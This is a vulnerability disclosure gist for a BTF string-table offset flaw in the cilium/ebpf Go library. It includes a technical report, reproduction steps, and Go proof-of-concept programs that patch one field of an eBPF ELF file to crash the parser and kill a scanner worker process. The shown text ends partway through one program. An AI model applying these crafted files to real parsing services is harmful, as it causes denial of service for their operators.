Skip to content

Instantly share code, notes, and snippets.

@thesmartshadow
Last active May 27, 2026 09:43
Show Gist options
  • Select an option

  • Save thesmartshadow/256bff0f8042c584f993ace89074a815 to your computer and use it in GitHub Desktop.

Select an option

Save thesmartshadow/256bff0f8042c584f993ace89074a815 to your computer and use it in GitHub Desktop.
Systemic BTF String-Table Offset Validation Flaw in cilium/ebpf Causes Parser Panic and Denial of Service

cilium/ebpf BTF String Offset Parser DoS

This package documents and reproduces a confirmed upstream github.com/cilium/ebpf parser flaw where malformed BTF string-table references with a non-zero offset equal to BTF StringLen panic instead of returning a parse error. The issue is systemic to shared BTF string-table lookup logic and was validated through .BTF and .BTF.ext parser paths. The strongest proven impact is denial of service against a process that parses attacker-controlled or less-trusted eBPF ELF/BTF artifacts.

Included files:

  • REPORT.md: consolidated technical report.
  • REPRODUCTION.md: local reproduction steps and expected results.
  • EVIDENCE.md: evidence index, commands, and claim mapping.
  • reproduce.sh: reviewer-friendly local reproduction script.
  • mutate_elf.go: minimal ELF mutation helper.
  • worker_dos_poc.go: benign vs malicious worker/process DoS PoC.
  • variants_check.go: breadth validation across affected fields.

Strongest proven impact: process-level denial of service only.

public issue report in the upstream GitHub repository:

cilium/ebpf#2019

Evidence

Evidence Index

E1. Root cause in shared string-table lookup:

  • /home/smart/Downloads/ebpf-main/btf/strings.go:79
  • /home/smart/Downloads/ebpf-main/btf/strings.go:88
  • /home/smart/Downloads/ebpf-main/btf/strings.go:96
  • /home/smart/Downloads/ebpf-main/btf/strings.go:97

E2. High-level upstream parser entry points:

  • /home/smart/Downloads/ebpf-main/elf_reader.go:62
  • /home/smart/Downloads/ebpf-main/elf_reader.go:77
  • /home/smart/Downloads/ebpf-main/elf_reader.go:145

E3. BTF parser path:

  • /home/smart/Downloads/ebpf-main/btf/btf.go:81
  • /home/smart/Downloads/ebpf-main/btf/btf.go:91
  • /home/smart/Downloads/ebpf-main/btf/btf.go:140
  • /home/smart/Downloads/ebpf-main/btf/btf.go:177
  • /home/smart/Downloads/ebpf-main/btf/btf.go:195
  • /home/smart/Downloads/ebpf-main/btf/btf.go:222
  • /home/smart/Downloads/ebpf-main/btf/btf.go:232

E4. Validated string-offset consumers:

  • /home/smart/Downloads/ebpf-main/btf/unmarshal.go:109
  • /home/smart/Downloads/ebpf-main/btf/ext_info.go:272
  • /home/smart/Downloads/ebpf-main/btf/ext_info.go:718

E5. Project expectation that malformed parser input returns errors:

  • /home/smart/Downloads/ebpf-main/fuzz_test.go:9
  • /home/smart/Downloads/ebpf-main/fuzz_test.go:16
  • /home/smart/Downloads/ebpf-main/fuzz_test.go:17
  • /home/smart/Downloads/ebpf-main/btf/fuzz_test.go:15
  • /home/smart/Downloads/ebpf-main/btf/fuzz_test.go:43
  • /home/smart/Downloads/ebpf-main/btf/fuzz_test.go:59
  • /home/smart/Downloads/ebpf-main/btf/fuzz_test.go:60

E6. PoC files:

  • ghsa-btf-string-offset-gist/mutate_elf.go
  • ghsa-btf-string-offset-gist/worker_dos_poc.go
  • ghsa-btf-string-offset-gist/variants_check.go
  • ghsa-btf-string-offset-gist/reproduce.sh

Commands Run

Line-number evidence:

nl -ba btf/strings.go | sed -n '1,140p'
nl -ba elf_reader.go | sed -n '1,120p'
nl -ba btf/btf.go | sed -n '60,245p'
nl -ba btf/unmarshal.go | sed -n '90,120p;395,415p;468,485p;535,550p;626,640p'
nl -ba btf/ext_info.go | sed -n '257,278p;704,724p'
nl -ba fuzz_test.go | sed -n '1,80p'
nl -ba btf/fuzz_test.go | sed -n '1,80p'

PoC execution:

chmod +x ghsa-btf-string-offset-gist/reproduce.sh
./ghsa-btf-string-offset-gist/reproduce.sh

Manual execution:

go run ghsa-btf-string-offset-gist/mutate_elf.go \
  -in cmd/bpf2go/testdata/minimal-el.elf \
  -out /tmp/cilium-ebpf-btf-nameoff-eq-stringlen.elf

go run ghsa-btf-string-offset-gist/worker_dos_poc.go \
  -input cmd/bpf2go/testdata/minimal-el.elf

go run ghsa-btf-string-offset-gist/variants_check.go \
  cmd/bpf2go/testdata/minimal-el.elf

Key Outputs

Observed key output from mutate_elf.go:

input: cmd/bpf2go/testdata/minimal-el.elf
output: /tmp/cilium-ebpf-btf-nameoff-eq-stringlen.elf
mutation: first .BTF btf_type.NameOff at file offset 0xf8: 0 -> BTF StringLen 376
changed_bytes: 4

Observed key output from worker_dos_poc.go:

workspace: /tmp/cilium-ebpf-btf-dos-2564007030
valid source ELF: cmd/bpf2go/testdata/minimal-el.elf (3432 bytes)
malicious ELF: /tmp/cilium-ebpf-btf-dos-2564007030/02-malicious-btf-nameoff-eq-stringlen.elf (3432 bytes)
minimal mutation: one uint32 at file offset 0xf8: first btf_type.NameOff 0 -> BTF StringLen 376

control: one-shot scanner on benign input
exit_code: 0
stdout:
  ACCEPT 01-benign.elf

control: one-shot scanner on malformed ELF should reject, but currently panics
exit_code: 2
stderr:
  panic: runtime error: slice bounds out of range [376:375]
  github.com/cilium/ebpf/btf.(*stringTable).lookupSlow
  	/home/smart/Downloads/ebpf-main/btf/strings.go:97

impact: long-running artifact scanner worker
worker_startup: WORKER_READY
worker_response: ACCEPT 01-benign.elf
worker_exit_code_after_malicious: 2
follow_up_write_error: write |1: file already closed
worker_process_state_exited: true
worker_wait_status: 512

Observed key output from variants_check.go:

input: cmd/bpf2go/testdata/minimal-el.elf
benign: OK
BTF btf_type.NameOff: patched offset 0xf8 old=0 new=376 -> PANIC runtime error: slice bounds out of range [376:375]
BTF.ext func_info SecNameOff: patched offset 0x668 old=121 new=376 -> PANIC runtime error: slice bounds out of range [376:375]
BTF.ext line_info SecNameOff: patched offset 0x67c old=121 new=376 -> PANIC runtime error: slice bounds out of range [376:375]
BTF.ext line_info FileNameOff: patched offset 0x688 old=128 new=376 -> PANIC runtime error: slice bounds out of range [376:375]
BTF.ext line_info LineOff: patched offset 0x68c old=164 new=376 -> PANIC runtime error: slice bounds out of range [376:375]

Claim Mapping

  • The root cause claim is supported by E1.
  • The high-level reachable parser path is supported by E2 and E3.
  • The breadth claim is supported by E4 and variants_check.go.
  • The unintended-behavior claim is supported by E5.
  • The denial-of-service impact claim is supported by worker_dos_poc.go.
  • The minimal-mutation claim is supported by mutate_elf.go and the changed_bytes: 4 output.

Unsupported Claims

This evidence does not support claims of:

  • RCE.
  • Memory corruption.
  • Privilege escalation.
  • Kernel impact.
  • Official bpfman/bpfman impact.
  • Network exposure for the upstream library.
  • Exact affected version bounds.
//go:build ignore
package main
import (
"bytes"
"debug/elf"
"errors"
"flag"
"fmt"
"os"
)
type mutation struct {
fileOffset uint64
oldValue uint32
newValue uint32
}
func mutateFirstBTFTypeNameOff(validELF []byte) ([]byte, mutation, error) {
f, err := elf.NewFile(bytes.NewReader(validELF))
if err != nil {
return nil, mutation{}, fmt.Errorf("open ELF: %w", err)
}
sec := f.Section(".BTF")
if sec == nil {
return nil, mutation{}, errors.New("ELF has no .BTF section")
}
if sec.Offset+sec.Size > uint64(len(validELF)) {
return nil, mutation{}, errors.New(".BTF section exceeds file size")
}
out := append([]byte(nil), validELF...)
btf := out[sec.Offset : sec.Offset+sec.Size]
if len(btf) < 24 {
return nil, mutation{}, errors.New(".BTF section is too short")
}
hdrLen := f.ByteOrder.Uint32(btf[4:])
typeLen := f.ByteOrder.Uint32(btf[12:])
stringLen := f.ByteOrder.Uint32(btf[20:])
if uint64(hdrLen)+uint64(typeLen) > uint64(len(btf)) {
return nil, mutation{}, errors.New("invalid .BTF type section bounds")
}
if typeLen < 4 {
return nil, mutation{}, errors.New(".BTF type section is too short")
}
pos := sec.Offset + uint64(hdrLen)
old := f.ByteOrder.Uint32(out[pos:])
f.ByteOrder.PutUint32(out[pos:], stringLen)
return out, mutation{
fileOffset: pos,
oldValue: old,
newValue: stringLen,
}, nil
}
func main() {
input := flag.String("in", "cmd/bpf2go/testdata/minimal-el.elf", "valid eBPF ELF input")
output := flag.String("out", "/tmp/cilium-ebpf-btf-nameoff-eq-stringlen.elf", "mutated ELF output")
flag.Parse()
valid, err := os.ReadFile(*input)
if err != nil {
fmt.Fprintf(os.Stderr, "read input: %v\n", err)
os.Exit(1)
}
malicious, mut, err := mutateFirstBTFTypeNameOff(valid)
if err != nil {
fmt.Fprintf(os.Stderr, "mutate input: %v\n", err)
os.Exit(1)
}
if err := os.WriteFile(*output, malicious, 0644); err != nil {
fmt.Fprintf(os.Stderr, "write output: %v\n", err)
os.Exit(1)
}
fmt.Printf("input: %s\n", *input)
fmt.Printf("output: %s\n", *output)
fmt.Printf("mutation: first .BTF btf_type.NameOff at file offset 0x%x: %d -> BTF StringLen %d\n",
mut.fileOffset, mut.oldValue, mut.newValue)
fmt.Printf("changed_bytes: 4\n")
}

Report: BTF String-Table Offset Boundary Panic in cilium/ebpf

Summary

github.com/cilium/ebpf contains a BTF string-table offset validation flaw. A malformed .BTF or .BTF.ext record can set a non-zero string offset to exactly the BTF string table length (offset == StringLen). The parser treats this as in bounds, then searches for a NUL byte in an empty slice and uses the resulting -1 index in a slice expression. This causes a Go panic instead of a returned parse error.

The bug is in shared BTF string-table lookup logic and was validated through multiple parser fields in .BTF and .BTF.ext. The demonstrated impact is denial of service against a process that parses less-trusted eBPF ELF/BTF input.

Impact

Demonstrated impact:

  • A valid eBPF ELF parses successfully.
  • Changing only one 32-bit BTF string offset to StringLen preserves the ELF container but causes ebpf.LoadCollectionSpec / ebpf.LoadCollectionSpecFromReader to panic.
  • A long-running local artifact-scanner style worker exits after parsing the malicious ELF.
  • A follow-up benign artifact cannot be processed because the worker process is dead.

Not demonstrated and not claimed:

  • Remote code execution.
  • Memory corruption.
  • Privilege escalation.
  • Kernel impact.
  • Official bpfman/bpfman impact.
  • Network-exposed upstream-library attack surface.

Root Cause

Affected file:

  • /home/smart/Downloads/ebpf-main/btf/strings.go

Relevant lines:

  • /home/smart/Downloads/ebpf-main/btf/strings.go:79: lookupSlow starts.
  • /home/smart/Downloads/ebpf-main/btf/strings.go:88: rejects offset > len(st.bytes).
  • /home/smart/Downloads/ebpf-main/btf/strings.go:96: searches bytes.IndexByte(st.bytes[offset:], 0).
  • /home/smart/Downloads/ebpf-main/btf/strings.go:97: slices st.bytes[offset : offset+uint32(i)].

The boundary check accepts offset == len(st.bytes). For non-zero offsets, this is not a valid string start: it points one byte past the terminating NUL of the last string. With offset == len(st.bytes), st.bytes[offset:] is empty, bytes.IndexByte returns -1, and uint32(-1) produces a large value used in the slice bound.

The minimal fix is to reject non-zero offset >= len(st.bytes) before indexing or slicing.

Affected Paths

High-level ELF collection loader:

  • /home/smart/Downloads/ebpf-main/elf_reader.go:62: LoadCollectionSpec.
  • /home/smart/Downloads/ebpf-main/elf_reader.go:77: LoadCollectionSpecFromReader.
  • /home/smart/Downloads/ebpf-main/elf_reader.go:145: calls btf.LoadSpecAndExtInfosFromReader.

BTF ELF/raw parsing:

  • /home/smart/Downloads/ebpf-main/btf/btf.go:81: LoadSpecAndExtInfosFromReader.
  • /home/smart/Downloads/ebpf-main/btf/btf.go:91: calls loadSpecFromELF.
  • /home/smart/Downloads/ebpf-main/btf/btf.go:140: loadSpecFromELF.
  • /home/smart/Downloads/ebpf-main/btf/btf.go:177: calls loadRawSpec.
  • /home/smart/Downloads/ebpf-main/btf/btf.go:195: loadRawSpec.
  • /home/smart/Downloads/ebpf-main/btf/btf.go:222: creates newStringTable.
  • /home/smart/Downloads/ebpf-main/btf/btf.go:232: calls newDecoder.

String lookups reached during BTF decode:

  • /home/smart/Downloads/ebpf-main/btf/unmarshal.go:109: btf_type.NameOff via LookupBytes.
  • /home/smart/Downloads/ebpf-main/btf/unmarshal.go:409: type name lookup.
  • /home/smart/Downloads/ebpf-main/btf/unmarshal.go:479: enum value name lookup.
  • /home/smart/Downloads/ebpf-main/btf/unmarshal.go:544: function parameter name lookup.
  • /home/smart/Downloads/ebpf-main/btf/unmarshal.go:634: enum64 value name lookup.

String lookups reached during .BTF.ext decode:

  • /home/smart/Downloads/ebpf-main/btf/ext_info.go:67: parses function info with spec.strings.
  • /home/smart/Downloads/ebpf-main/btf/ext_info.go:81: parses line info with spec.strings.
  • /home/smart/Downloads/ebpf-main/btf/ext_info.go:100: parses CO-RE relocation info with spec.strings.
  • /home/smart/Downloads/ebpf-main/btf/ext_info.go:272: .BTF.ext section name lookup.
  • /home/smart/Downloads/ebpf-main/btf/ext_info.go:718: CO-RE accessor string lookup.

Validated Breadth

The issue is not limited to a single .BTF field. The included variants_check.go validates the same boundary flaw through:

  • .BTF btf_type.NameOff.
  • .BTF.ext func_info SecNameOff.
  • .BTF.ext line_info SecNameOff.
  • .BTF.ext line_info FileNameOff.
  • .BTF.ext line_info LineOff.

Each variant sets a legitimate string-offset field to the same invalid boundary value: non-zero BTF StringLen.

Threat Model

The relevant trust boundary is a consumer process that parses eBPF ELF/BTF artifacts that are external, user-selected, uploaded, queued, checked out from source control, downloaded, or otherwise less trusted than the process itself.

The strongest local model reproduced here is a long-running artifact scanner or CI-style parser worker that accepts file paths to eBPF ELF objects. The malicious input is a real valid ELF fixture from the repository with only one 32-bit BTF field changed.

This is a library-level parser issue. The upstream library does not itself expose a network service. Network exposure depends on an application embedding the parser, and no network vector is claimed for the upstream library here.

Unintended Behavior

The parser API returns (*CollectionSpec, error) and surrounding parser/fuzz code expects malformed input to produce errors, not process panics.

Project-internal evidence:

  • /home/smart/Downloads/ebpf-main/fuzz_test.go:9: fuzzes LoadCollectionSpecFromReader.
  • /home/smart/Downloads/ebpf-main/fuzz_test.go:16: calls LoadCollectionSpecFromReader(bytes.NewReader(data)).
  • /home/smart/Downloads/ebpf-main/fuzz_test.go:17: treats invalid input as err != nil.
  • /home/smart/Downloads/ebpf-main/btf/fuzz_test.go:15: fuzzes raw BTF parsing.
  • /home/smart/Downloads/ebpf-main/btf/fuzz_test.go:43: fuzzes BTF extension parsing.
  • /home/smart/Downloads/ebpf-main/btf/fuzz_test.go:59: calls loadExtInfos.
  • /home/smart/Downloads/ebpf-main/btf/fuzz_test.go:60: treats invalid extension input as err != nil.

This supports treating malformed parser input panics as bugs rather than intended behavior.

Recover Objection

Application-level recover can reduce impact in a specific consumer, but it is not a library fix. The parser exposes error-returning APIs and already validates many malformed-input conditions through errors. Requiring every consumer to wrap LoadCollectionSpec or LoadCollectionSpecFromReader in panic recovery would be inconsistent with the API shape and the parser's own fuzz expectations.

The security-relevant bug remains in the library because a malformed input crosses into an error-returning parser and terminates the caller process unless the caller added unusual defensive recovery around a routine parse call.

Severity

Conservative severity: denial of service.

Suggested CVSS for the upstream library issue:

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Rationale:

  • AV:L: the upstream library parses local readers/files; a network vector depends on a downstream service and is not proven for the library itself.
  • AC:L: the malformed input is a small, deterministic field mutation.
  • PR:N: no privileges are needed to craft the file.
  • UI:R: a consumer or workflow must parse the supplied artifact.
  • S:U: impact is to the parsing process.
  • C:N/I:N/A:H: only availability impact is demonstrated.

Affected version bounds are unknown from the current evidence. This package does not claim exact affected versions or commits.

CWE

Recommended CWE: CWE-129: Improper Validation of Array Index.

Justification: the immediate defect is accepting a boundary index into a byte slice, then deriving an invalid slice bound from a failed search. CWE-20: Improper Input Validation also describes the broader parser-validation failure, but CWE-129 is more precise for the root cause.

Fix Recommendation

In /home/smart/Downloads/ebpf-main/btf/strings.go, reject non-zero offsets at or beyond the string table length before checking st.bytes[offset-1] or slicing:

if offset != 0 && offset >= uint32(len(st.bytes)) {
	return nil, fmt.Errorf("offset %d is out of bounds of string table", offset)
}

The exact implementation should preserve split-BTF behavior. The key invariant is that non-zero offsets must point to the first byte of a NUL-terminated string within the table, not one past the table.

Regression Test Idea

Add targeted tests for stringTable.Lookup / LookupBytes:

  • Valid zero offset returns the empty string.
  • Valid string start offsets return strings.
  • Non-zero offset == len(table) returns an error and does not panic.
  • Non-zero offset > len(table) returns an error.
  • Equivalent tests with a base string table for split BTF.

Add parser-level regression tests using a valid ELF fixture mutated so .BTF btf_type.NameOff == StringLen, asserting LoadCollectionSpecFromReader returns an error and does not panic.

Credit

#!/usr/bin/env bash
set -u
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
POC_DIR="$ROOT/ghsa-btf-string-offset-gist"
VALID_ELF="${1:-cmd/bpf2go/testdata/minimal-el.elf}"
MALICIOUS_ELF="${TMPDIR:-/tmp}/cilium-ebpf-btf-nameoff-eq-stringlen.elf"
cd "$ROOT" || exit 1
echo "== cilium/ebpf BTF string offset parser DoS reproduction =="
echo "repo: $ROOT"
echo "valid ELF: $VALID_ELF"
echo
echo "== Step 1: create minimal malicious ELF mutation =="
go run "$POC_DIR/mutate_elf.go" -in "$VALID_ELF" -out "$MALICIOUS_ELF"
mutate_status=$?
echo "exit_code: $mutate_status"
echo
if [[ $mutate_status -ne 0 ]]; then
exit "$mutate_status"
fi
echo "== Step 2: benign vs malicious worker denial-of-service PoC =="
go run "$POC_DIR/worker_dos_poc.go" -input "$VALID_ELF"
worker_status=$?
echo "exit_code: $worker_status"
echo
echo "== Step 3: breadth check across .BTF and .BTF.ext string-offset fields =="
go run "$POC_DIR/variants_check.go" "$VALID_ELF"
variants_status=$?
echo "exit_code: $variants_status"
echo
if [[ $worker_status -ne 0 || $variants_status -ne 0 ]]; then
echo "result: reproduction failed"
exit 1
fi
echo "result: reproduction completed"

Reproduction

Prerequisites

  • Go toolchain available in PATH.
  • Run from the root of a checkout of github.com/cilium/ebpf.
  • The repository fixture cmd/bpf2go/testdata/minimal-el.elf exists.
  • Module dependencies are available locally or can be downloaded by go run.

No external attack infrastructure is required. If the module cache is empty, go run may download normal Go module dependencies before executing the local PoC.

Commands

Run the full local reproduction:

chmod +x ghsa-btf-string-offset-gist/reproduce.sh
./ghsa-btf-string-offset-gist/reproduce.sh

Or run the pieces manually:

go run ghsa-btf-string-offset-gist/mutate_elf.go \
  -in cmd/bpf2go/testdata/minimal-el.elf \
  -out /tmp/cilium-ebpf-btf-nameoff-eq-stringlen.elf

go run ghsa-btf-string-offset-gist/worker_dos_poc.go \
  -input cmd/bpf2go/testdata/minimal-el.elf

go run ghsa-btf-string-offset-gist/variants_check.go \
  cmd/bpf2go/testdata/minimal-el.elf

Benign vs Malicious Flow

Benign flow:

  1. The worker parses the unmodified repository ELF fixture.
  2. ebpf.LoadCollectionSpec succeeds.
  3. The worker prints ACCEPT 01-benign.elf.
  4. Exit code is 0.

Malicious flow:

  1. The mutation helper copies the same valid ELF.
  2. It changes exactly one 32-bit .BTF field: the first btf_type.NameOff.
  3. The new value is BTF StringLen.
  4. The ELF is passed to the same parser path.
  5. The process panics instead of returning an error.

Expected behavior:

  • Malformed BTF input should return an error to LoadCollectionSpec / LoadCollectionSpecFromReader.
  • A long-running worker should reject the bad artifact and continue processing later artifacts.

Actual behavior:

  • The parser panics.
  • A one-shot scanner exits non-zero.
  • A long-running worker exits after receiving the malicious artifact.
  • A follow-up benign artifact cannot be processed because the worker process is already dead.

Exit Codes

The reproduction prints exit codes inline:

  • Benign one-shot parse: exit_code: 0.
  • Malicious one-shot parse: non-zero, observed as exit_code: 2 on the tested tree.
  • Worker process after malicious artifact: non-zero, observed as worker_exit_code_after_malicious: 2 on the tested tree.
  • Overall reproduce.sh: exit_code: 0 when the vulnerability is reproduced as expected.

Follow-Up Proof of Process Death

worker_dos_poc.go starts a worker subprocess, sends a benign ELF, then sends the malicious ELF. After the panic, it attempts to send another benign ELF and prints:

follow_up_write_error: write |1: file already closed
worker_process_state_exited: true
worker_wait_status: 512

The exact write error may vary by OS and timing. The stable proof is that worker_process_state_exited is true and the worker has a non-zero exit status after the malicious artifact.

//go:build ignore
package main
import (
"bytes"
"debug/elf"
"fmt"
"os"
"github.com/cilium/ebpf"
)
type variant struct {
name string
mut func(raw []byte, f *elf.File) (uint64, uint32, uint32, error)
}
func btfStringLen(raw []byte, f *elf.File) (uint32, error) {
sec := f.Section(".BTF")
if sec == nil {
return 0, fmt.Errorf("no .BTF section")
}
btf := raw[sec.Offset : sec.Offset+sec.Size]
if len(btf) < 24 {
return 0, fmt.Errorf(".BTF section too short")
}
return f.ByteOrder.Uint32(btf[20:]), nil
}
func btfFirstTypeNameOff(raw []byte, f *elf.File) (uint64, uint32, uint32, error) {
sec := f.Section(".BTF")
strLen, err := btfStringLen(raw, f)
if err != nil {
return 0, 0, 0, err
}
btf := raw[sec.Offset : sec.Offset+sec.Size]
hdrLen := f.ByteOrder.Uint32(btf[4:])
pos := sec.Offset + uint64(hdrLen)
old := f.ByteOrder.Uint32(raw[pos:])
f.ByteOrder.PutUint32(raw[pos:], strLen)
return pos, old, strLen, nil
}
func extSegmentHeaderOff(raw []byte, f *elf.File, segment string) (uint64, error) {
ext := f.Section(".BTF.ext")
if ext == nil {
return 0, fmt.Errorf("no .BTF.ext section")
}
b := raw[ext.Offset : ext.Offset+ext.Size]
if len(b) < 24 {
return 0, fmt.Errorf(".BTF.ext section too short")
}
hdrLen := f.ByteOrder.Uint32(b[4:])
var off uint32
switch segment {
case "func":
off = f.ByteOrder.Uint32(b[8:])
case "line":
off = f.ByteOrder.Uint32(b[16:])
default:
return 0, fmt.Errorf("unknown .BTF.ext segment %q", segment)
}
return ext.Offset + uint64(hdrLen) + uint64(off) + 4, nil
}
func extFuncSecNameOff(raw []byte, f *elf.File) (uint64, uint32, uint32, error) {
strLen, err := btfStringLen(raw, f)
if err != nil {
return 0, 0, 0, err
}
pos, err := extSegmentHeaderOff(raw, f, "func")
if err != nil {
return 0, 0, 0, err
}
old := f.ByteOrder.Uint32(raw[pos:])
f.ByteOrder.PutUint32(raw[pos:], strLen)
return pos, old, strLen, nil
}
func extLineSecNameOff(raw []byte, f *elf.File) (uint64, uint32, uint32, error) {
strLen, err := btfStringLen(raw, f)
if err != nil {
return 0, 0, 0, err
}
pos, err := extSegmentHeaderOff(raw, f, "line")
if err != nil {
return 0, 0, 0, err
}
old := f.ByteOrder.Uint32(raw[pos:])
f.ByteOrder.PutUint32(raw[pos:], strLen)
return pos, old, strLen, nil
}
func extLineRecordStringOff(field string) func([]byte, *elf.File) (uint64, uint32, uint32, error) {
return func(raw []byte, f *elf.File) (uint64, uint32, uint32, error) {
strLen, err := btfStringLen(raw, f)
if err != nil {
return 0, 0, 0, err
}
secHeader, err := extSegmentHeaderOff(raw, f, "line")
if err != nil {
return 0, 0, 0, err
}
record := secHeader + 8
var fieldOff uint64
switch field {
case "file":
fieldOff = 4
case "line":
fieldOff = 8
default:
return 0, 0, 0, fmt.Errorf("unknown line field %q", field)
}
pos := record + fieldOff
old := f.ByteOrder.Uint32(raw[pos:])
f.ByteOrder.PutUint32(raw[pos:], strLen)
return pos, old, strLen, nil
}
}
func classify(raw []byte) (outcome string) {
defer func() {
if r := recover(); r != nil {
outcome = fmt.Sprintf("PANIC %v", r)
}
}()
_, err := ebpf.LoadCollectionSpecFromReader(bytes.NewReader(raw))
if err != nil {
return fmt.Sprintf("ERROR %v", err)
}
return "OK"
}
func main() {
input := "cmd/bpf2go/testdata/minimal-el.elf"
if len(os.Args) == 2 {
input = os.Args[1]
} else if len(os.Args) != 1 {
fmt.Fprintln(os.Stderr, "usage: go run variants_check.go [valid.elf]")
os.Exit(2)
}
valid, err := os.ReadFile(input)
if err != nil {
fmt.Fprintf(os.Stderr, "read input: %v\n", err)
os.Exit(1)
}
fmt.Printf("input: %s\n", input)
fmt.Printf("benign: %s\n", classify(valid))
variants := []variant{
{"BTF btf_type.NameOff", btfFirstTypeNameOff},
{"BTF.ext func_info SecNameOff", extFuncSecNameOff},
{"BTF.ext line_info SecNameOff", extLineSecNameOff},
{"BTF.ext line_info FileNameOff", extLineRecordStringOff("file")},
{"BTF.ext line_info LineOff", extLineRecordStringOff("line")},
}
for _, v := range variants {
raw := append([]byte(nil), valid...)
f, err := elf.NewFile(bytes.NewReader(raw))
if err != nil {
fmt.Printf("%s: setup error: %v\n", v.name, err)
continue
}
pos, old, newValue, err := v.mut(raw, f)
if err != nil {
fmt.Printf("%s: setup error: %v\n", v.name, err)
continue
}
fmt.Printf("%s: patched offset 0x%x old=%d new=%d -> %s\n",
v.name, pos, old, newValue, classify(raw))
}
}
//go:build ignore
package main
import (
"bufio"
"bytes"
"debug/elf"
"errors"
"flag"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"time"
"github.com/cilium/ebpf"
)
type mutation struct {
oldNameOff uint32
newNameOff uint32
fileOffset uint64
}
func mutateOneBTFField(validELF []byte) ([]byte, mutation, error) {
f, err := elf.NewFile(bytes.NewReader(validELF))
if err != nil {
return nil, mutation{}, fmt.Errorf("open ELF: %w", err)
}
sec := f.Section(".BTF")
if sec == nil {
return nil, mutation{}, errors.New("ELF has no .BTF section")
}
if sec.Offset+sec.Size > uint64(len(validELF)) {
return nil, mutation{}, errors.New(".BTF section exceeds file size")
}
out := append([]byte(nil), validELF...)
btf := out[sec.Offset : sec.Offset+sec.Size]
if len(btf) < 24 {
return nil, mutation{}, errors.New(".BTF section is too short")
}
hdrLen := f.ByteOrder.Uint32(btf[4:])
typeLen := f.ByteOrder.Uint32(btf[12:])
stringLen := f.ByteOrder.Uint32(btf[20:])
if uint64(hdrLen)+uint64(typeLen) > uint64(len(btf)) {
return nil, mutation{}, errors.New("invalid .BTF section bounds")
}
if typeLen < 4 {
return nil, mutation{}, errors.New(".BTF type section is too short")
}
pos := sec.Offset + uint64(hdrLen)
old := f.ByteOrder.Uint32(out[pos:])
f.ByteOrder.PutUint32(out[pos:], stringLen)
return out, mutation{oldNameOff: old, newNameOff: stringLen, fileOffset: pos}, nil
}
func scannerWorker() {
fmt.Println("WORKER_READY")
sc := bufio.NewScanner(os.Stdin)
for sc.Scan() {
path := sc.Text()
if path == "" {
continue
}
_, err := ebpf.LoadCollectionSpec(path)
if err != nil {
fmt.Printf("REJECT %s: %v\n", filepath.Base(path), err)
continue
}
fmt.Printf("ACCEPT %s\n", filepath.Base(path))
}
if err := sc.Err(); err != nil {
fmt.Println("INPUT_ERROR:", err)
}
}
func scannerCLI(paths []string) int {
for _, path := range paths {
_, err := ebpf.LoadCollectionSpec(path)
if err != nil {
fmt.Printf("REJECT %s: %v\n", filepath.Base(path), err)
continue
}
fmt.Printf("ACCEPT %s\n", filepath.Base(path))
}
return 0
}
func runHarness(input string) error {
valid, err := os.ReadFile(input)
if err != nil {
return err
}
malicious, mut, err := mutateOneBTFField(valid)
if err != nil {
return err
}
dir, err := os.MkdirTemp("", "cilium-ebpf-btf-dos-")
if err != nil {
return err
}
defer os.RemoveAll(dir)
benign1 := filepath.Join(dir, "01-benign.elf")
bad := filepath.Join(dir, "02-malicious-btf-nameoff-eq-stringlen.elf")
benign2 := filepath.Join(dir, "03-benign-after-malicious.elf")
for _, item := range []struct {
path string
data []byte
}{
{benign1, valid},
{bad, malicious},
{benign2, valid},
} {
if err := os.WriteFile(item.path, item.data, 0644); err != nil {
return err
}
}
fmt.Printf("workspace: %s\n", dir)
fmt.Printf("valid source ELF: %s (%d bytes)\n", input, len(valid))
fmt.Printf("malicious ELF: %s (%d bytes)\n", bad, len(malicious))
fmt.Printf("minimal mutation: one uint32 at file offset 0x%x: first btf_type.NameOff %d -> BTF StringLen %d\n",
mut.fileOffset, mut.oldNameOff, mut.newNameOff)
fmt.Println()
fmt.Println("control: one-shot scanner on benign input")
ctl := exec.Command(os.Args[0], "-scan", benign1)
var ctlOut, ctlErr bytes.Buffer
ctl.Stdout = &ctlOut
ctl.Stderr = &ctlErr
ctlRunErr := ctl.Run()
fmt.Printf("command: %s -scan %s\n", os.Args[0], benign1)
fmt.Printf("exit_code: %d\n", exitCode(ctlRunErr))
fmt.Printf("stdout:\n%s", indent(ctlOut.String()))
fmt.Printf("stderr:\n%s", indent(ctlErr.String()))
fmt.Println()
fmt.Println("control: one-shot scanner on malformed ELF should reject, but currently panics")
badCtl := exec.Command(os.Args[0], "-scan", bad)
var badOut, badErr bytes.Buffer
badCtl.Stdout = &badOut
badCtl.Stderr = &badErr
badRunErr := badCtl.Run()
fmt.Printf("command: %s -scan %s\n", os.Args[0], bad)
fmt.Printf("exit_code: %d\n", exitCode(badRunErr))
fmt.Printf("stdout:\n%s", indent(badOut.String()))
fmt.Printf("stderr:\n%s", indent(firstLines(badErr.String(), 18)))
fmt.Println()
fmt.Println("impact: long-running artifact scanner worker")
worker := exec.Command(os.Args[0], "-worker")
stdin, err := worker.StdinPipe()
if err != nil {
return err
}
stdout, err := worker.StdoutPipe()
if err != nil {
return err
}
var workerErr bytes.Buffer
worker.Stderr = &workerErr
if err := worker.Start(); err != nil {
return err
}
lines := make(chan string, 32)
go func() {
sc := bufio.NewScanner(stdout)
for sc.Scan() {
lines <- sc.Text()
}
close(lines)
}()
line, err := readLine(lines, "worker startup")
if err != nil {
return err
}
fmt.Printf("worker_startup: %s\n", line)
fmt.Printf("send: %s\n", filepath.Base(benign1))
fmt.Fprintln(stdin, benign1)
line, err = readLine(lines, "benign request")
if err != nil {
return err
}
fmt.Printf("worker_response: %s\n", line)
fmt.Printf("send: %s\n", filepath.Base(bad))
fmt.Fprintln(stdin, bad)
waitCh := make(chan error, 1)
go func() { waitCh <- worker.Wait() }()
var waitErr error
select {
case waitErr = <-waitCh:
case <-time.After(5 * time.Second):
_ = worker.Process.Kill()
return errors.New("worker did not exit after malicious artifact")
}
fmt.Printf("worker_exit_code_after_malicious: %d\n", exitCode(waitErr))
fmt.Printf("worker_stderr:\n%s", indent(firstLines(workerErr.String(), 22)))
fmt.Printf("follow_up: send %s after crash\n", filepath.Base(benign2))
_, writeErr := fmt.Fprintln(stdin, benign2)
fmt.Printf("follow_up_write_error: %v\n", writeErr)
